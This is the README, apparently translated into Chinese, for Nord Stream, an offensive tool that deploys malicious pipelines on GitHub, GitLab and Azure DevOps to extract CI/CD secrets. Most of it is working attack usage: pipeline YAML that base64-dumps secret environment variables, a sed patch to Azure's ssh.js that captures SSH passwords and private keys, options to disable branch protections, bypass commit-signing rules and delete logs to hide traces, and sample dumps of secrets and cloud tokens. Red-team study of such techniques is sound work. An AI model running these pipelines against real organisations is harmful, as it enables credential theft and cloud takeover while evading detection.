synacktiv/nord-stream

GitHub: synacktiv/nord-stream

通过部署恶意 pipeline 自动提取 GitHub、GitLab 和 Azure DevOps 等 CI/CD 平台中存储的密钥与凭据的攻击性安全工具。

Stars: 356 | Forks: 22

# Nord Stream Nord Stream 是一款允许你通过部署 _恶意_ pipeline 来提取存储在 CI/CD 环境中 secrets 的工具。 它目前支持 Azure DevOps、GitHub 和 GitLab。 在以下博文中了解更多信息:https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks ## 目录 - [Nord Stream](#nord-stream) - [目录](#table-of-contents) - [安装](#installation) - [用法](#usage) - [共享参数](#shared-arguments) - [描述 token](#describe-token) - [构建 YAML](#build-yaml) - [YAML](#yaml) - [清理日志](#clean-logs) - [签名 commit](#signing-commits) - [Azure DevOps](#azure-devops) - [Service connections](#service-connections) - [SSH](#ssh) - [列出 orgs](#listing-orgs) - [帮助](#help) - [GitHub](#github) - [列出保护](#list-protections) - [禁用保护](#disable-protections) - [强制](#force) - [Azure OIDC](#azure-oidc) - [AWS OIDC](#aws-oidc) - [帮助](#help-1) - [GitLab](#gitlab) - [列出 secrets](#list-secrets) - [YAML](#yaml-1) - [列出保护](#list-protections-1) - [帮助](#help-2) - [待办事项](#todo) - [联系方式](#contact) ## 安装 ``` $ pipx install git+https://github.com/synacktiv/nord-stream ``` 还需要 `git`(参见 https://git-scm.com/download/)并且必须存在于你的 `PATH` 中。 ## 用法 这是一个在 GitHub 上的简单示例;首先,可以枚举各种 secrets。 ``` $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo [*] Listing secrets: [*] "org/repo" secrets [*] Repo secrets: - REPO_SECRET - SUPER_SECRET [*] PROD secrets: - PROD_SECRET ``` 然后进行数据窃取: ``` $ nord-stream github --token "$GHP" --org org --repo repo [+] "org/repo" [*] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [*] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret [*] Getting secrets from environment: "PROD" (org/repo) [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment [*] Cleaning logs. [*] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github ``` ### 共享参数 [GitHub](#github)、[Azure DevOps](#azure-devops) 和 [GitLab](#gitlab) 之间共享了一些参数,这里是一些示例。 #### 描述 token `--describe-token` 选项可用于显示有关你的 token 的常规信息: ``` $ nord-stream github --token "$PAT" --describe-token [*] Token information: - Login: CICD - IsAdmin: False - Id: 1337 - Bio: None ``` #### 构建 YAML `--build-yaml` 选项可用于创建 pipeline 文件而无需部署它。它会检索各种 secret 名称以构建关联的 pipeline,这可用于添加自定义步骤: ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD ``` #### YAML `--yaml` 选项可用于部署自定义 pipeline: ``` name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: echo "Hello from step 1" name: step 1 - run: echo "Doing some important stuff here" name: command - run: echo "Hello from last step " name: last step ``` ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [*] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [*] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here [*] Cleaning logs. [*] Check output: .../nord-stream-logs/github ``` 默认情况下,它将显示 `init` job 中名为 `command` 的 task 的输出,但所有内容都存储在本地,可以手动访问: ``` $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt 2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step " 2023-07-18T20:08:33.0459084Z echo "Hello from last step " 2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0511890Z ##[endgroup] 2023-07-18T20:08:33.0597853Z Hello from last step ``` #### 清理日志 默认情况下,Nord Stream 会尝试在 pipeline 部署后根据你的权限删除留下的痕迹。要保留痕迹,可以使用 `--no-clean` 选项。这将保留 pipeline 日志,但仍会还原对 repository 所做的更改。 请注意,对于 GitLab,某些痕迹是无法删除的。 #### 签名 commit Repository 管理员可以强制要求对分支上的 commit 进行签名,以阻止所有未签名和未经验证的 commit。使用 Nord Stream 可以对 commit 进行签名以绕过这种保护。 首先在 SCM 平台上导入你的 GPG key。 ``` $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg ``` ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email test.gpg@cicd.local --force [*] Using branch: "main" [+] "synacktiv/repo" [*] Getting secrets from environment: "prod" (synacktiv/repo) [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET ``` ``` $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg " [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 ``` ### Azure DevOps Nord Stream 可以提取以下类型的 secrets: - Variable groups (vg) - Secure files (sf) - Service connections #### Service connections Azure DevOps 提供了创建与外部和远程服务连接的功能,以便在 job 中执行 task。为此,使用了 service connections。Service connection 包含用于连接远程服务的身份凭据。Azure DevOps 中有多种类型的 service connections。 Nord Stream 目前支持对以下类型的 service connection 进行 secret 提取: - AzureRM - GitHub - AWS - SonarQube - SSH 如果你遇到不支持的类型,请提出 issue 或发起 pull request :) ##### SSH 这种 service connection 类型的提取过程实现起来比较痛苦。输出如下: ``` hostname:::port:::user:::password:::privatekey ``` 如果你想在自托管 runner 上运行它,可以执行以下操作: ``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh [+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps: - checkout: none - script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname + ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts - task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1 - script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts ``` 然后你需要: 1. 将 `vmImage: ubuntu-latest` 更改为 `name: 'Self-Hosted pool name'` 2. 在 `#FIXME` 占位符中添加 service connection 的名称。 3. 使用以下命令部署 pipeline:`--yaml test.yml` 如果你需要在 Windows 自托管 runner 上运行此命令,请在 `generatePipelineForSSH` 方法中将 `_serviceConnectionTemplateSSH` 更改为 `_serviceConnectionTemplateSSHWindows`,并执行先前描述的操作。 注意:对于 Windows 和 Linux 自托管 runner,你都需要调整路径(`/home/vsts/work/_tasks/` 或 `D:\a\`)以匹配 runner 部署的路径。此信息可以在 Azure DevOps 上 agent 的 `Capabilities` 选项卡中获取。 #### 列出 orgs 使用 access token 可以列出绑定到用户的 organizations: ``` $ nord-stream devops --token "eyJ0eXA..." --list-orgs [*] User orgs: - myorg - supersecretorg ``` 这是基于 [这项研究](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/)。 #### 帮助 ``` $ nord-stream devops -h CICD pipeline exploitation tool Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir Output directory for logs --ignore-cert Allow insecure server connections Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment. Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh] Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets Dump all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg Authors: @hugow @0hexit ``` ### GitHub #### 列出保护 `--list-protections` 选项可用于列出应用于分支和环境的保护: ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections [*] Using branch: "main" [*] Checking security: "synacktiv/repo" [*] Found branch protection rule on "main" branch [*] Branch protections: - enforce admins: True - block creations: True - required signatures: True - allow force pushes: False - allow deletions: False - required pull request reviews: False - required linear history: False - required conversation resolution: False - lock branch: False - allow fork syncing: False [*] Environment protection for: "DEV": - deployment branch policy: custom [*] No environment protection rule found for: "INT" [*] Environment protection for: "PROD": - deployment branch policy: custom ``` 根据你的权限,你获取的信息可能会较少,只有管理员才能获取保护的全部详细信息。 #### 禁用保护 `--disable-protections` 选项可用于临时禁用应用于分支或环境的保护,执行 dump 操作并恢复所有保护: ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [*] Using branch: "main" [+] "synacktiv/repo" [*] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [*] Getting secrets from environment: "prod" (synacktiv/repo) [*] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET [*] Cleaning logs. [!] Restoring branch protection. ``` 这需要管理员权限。 #### 强制 默认情况下,如果 Nord Stream 检测到分支或环境上的保护,它将不会执行 secret 提取。如果你认为保护过于宽松或者可以通过你的权限绕过,可以使用 `--force` 选项无视保护部署 pipeline。 #### Azure OIDC OIDC (OpenID Connect) 可用于连接云服务。其核心理念是允许经过授权的 pipelines 或 workflows 直接从云服务商获取短期 access token,而无需涉及任何静态 secrets。授权基于在云服务商端配置的信任关系,并以 pipeline 或 workflow 的来源为条件。 以下是使用 OIDC 的 GitHub workflow 示例: ``` [...] steps: - name: OIDC Login to Azure Public Cloud uses: azure/login@v1 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional ``` 如果你遇到这样的 workflow,这意味着该 repository 可能已配置为获取短期 access token,该 token 可让你访问 Azure 资源。 Nord Stream 能够使用以下选项部署 pipeline 以检索此类 access token: ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [*] Using branch: "main" [+] "synacktiv/repo" [*] No branch protection rule found on "main" branch [*] Running OIDC Azure access tokens generation workflow [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" } Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" } ``` `--azure-subscription-id` 是可选的,可用于获取特定订阅的 access token。 #### AWS OIDC 可以使用相同的技术(参见 [Azure OIDC](#azure-oidc))来获取 AWS 上的 session token。 以下是使用 AWS OIDC 的 workflow 示例: ``` [...] steps: - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v1 with: role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole role-session-name: oidcrolesession aws-region: us-east-1 ``` 如果你遇到这样的 workflow,这意味着该 repository 可能已配置为获取 AWS access token,该 token 可让你访问 AWS 资源。 Nord Stream 能够使用以下选项部署 pipeline 以检索此类 access token: ``` $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [*] Running OIDC AWS credentials generation workflow [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA ``` #### 帮助 ``` $ nord-stream github -h CICD pipeline exploitation tool Usage: nord-stream github [options] --token --org [--repo --no-repo --no-env --no-org --env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org --yaml --repo [--env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org ([--clean-logs] [--clean-branch-policy]) [--repo --branch-name ] nord-stream github [options] --token --org --build-yaml --repo [--env ] nord-stream github [options] --token --org --azure-tenant-id --azure-client-id [--azure-subscription-id --repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --aws-role --aws-region [--repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --list-protections [--repo --branch-name --disable-protections (--key-id --user --email )] nord-stream github [options] --token --org --list-secrets [--repo --no-repo --no-env --no-org] nord-stream github [options] --token [--org ] --list-repos [--write-filter] nord-stream github [options] --token --describe-token Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir Output directory for logs Signing: --key-id GPG primary key ID --user User used to sign commits --email Email address used to sign commits args --token Github personal token --org Org name -r, --repo Run on selected repo (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean workflow logs (default false) --clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered. --build-yaml Create a pipeline yaml file with all secrets. --env Specify env for the yaml file creation. --no-repo Don't extract repo secrets. --no-env Don't extract environnments secrets. --no-org Don't extract organization secrets. --azure-tenant-id Identifier of the Azure tenant associated with the application having federated credentials (OIDC related). --azure-subscription-id Identifier of the Azure subscription associated with the application having federated credentials (OIDC related). --azure-client-id Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related). --aws-role AWS role to assume (OIDC related). --aws-region AWS region (OIDC related). --list-protections List all protections. --list-repos List all repos. --list-secrets List all secrets. --disable-protections Disable the branch protection rules (needs admin rights) --write-filter Filter repo where current user has write or admin access. --force Don't check environment and branch protections. --branch-name Use specific branch name for deployment. --describe-token Display information on the token Examples: List all secrets from all repositories $ nord-stream github --token "$GHP" --org myorg --list-secrets Dump all secrets from all repositories and try to disable branch protections $ nord-stream github --token "$GHP" --org myorg --disable-protections Authors: @hugow @0hexit ``` ### GitLab 正如文章中所述,在 pipeline 部署后,无法在 activity 标签页中删除日志。在红队演练中必须考虑到这一点。 #### 列出 secrets `--list-secrets` 选项可用于从 GitLab 列出和提取 secrets。 GitLab 管理 secrets 的方式与 Azure DevOps 和 GitHub action 略有不同。拥有项目、group 甚至 GitLab 实例的管理员权限,可以在不部署任何 pipeline 的情况下提取所有已定义的 CI/CD variables。 然而,对于低权限用户,无法列出在 project / group 或 instance 级别定义的 secrets。但是,如果用户对项目具有写入权限,他们将能够部署恶意 pipeline 以窃取暴露 CI/CD variables 的环境变量。这意味着低权限用户无法知道在特定项目中是否定义了 secret。唯一的方法是查看项目中已存在的合法 pipelines,并检查是否有 pipeline 使用了敏感的环境变量。 以下是在 GitLab 上执行此操作的 pipeline 文件: ``` stages: - synacktiv deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0 ``` GitLab 也像 Azure DevOps 一样支持 secure files。Secure files 是在项目级别定义的。与 variables 一样,没有项目的管理员权限无法列出 secure files。但是,拥有管理员权限的 nord-stream 将尝试窃取与项目相关的 secure files。 #### YAML 与 [YAML](#yaml) 相同,但是你需要像这样提供完整的项目路径: ``` $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml ``` 命令 `--list-projects` 的输出会返回此类路径。 #### 列出保护 与 [GitHub 列出保护](#list-protections) 相同 #### 帮助 ``` $ nord-stream gitlab -h CICD pipeline exploitation tool Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir Output directory for logs --url Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connections Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets Deploy the custom pipeline on the master branch $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname' Authors: @hugow @0hexit ``` ## 待办事项 - [ ] 添加对 Azure DevOps Server 实例(本地部署解决方案)对应 URL 的支持 - [ ] 添加通过 Windows 主机提取 secrets 的选项 - [ ] 添加对其他 CI/CD 环境的支持 - [ ] 使用 GitHub GraphQL API 而不是 REST API 来列出分支保护规则,并在它们匹配即将推送的恶意分支时临时禁用它们 ## 联系方式 请在 "Issues" 下提交任何 bug、问题、疑问或功能请求,或者通过 Twitter [@hugow](https://twitter.com/hugow_vincent) 和 [@0hexit](https://twitter.com/0hexit) 发送给我们。
标签:Azure DevOps, CI/CD安全, DevOps安全, GitLab, Llama, StruQ, YAML部署, 供应链攻击, 密钥提取, 恶意管道, 机密数据窃取, 源代码管理, 网络安全研究, 逆向工具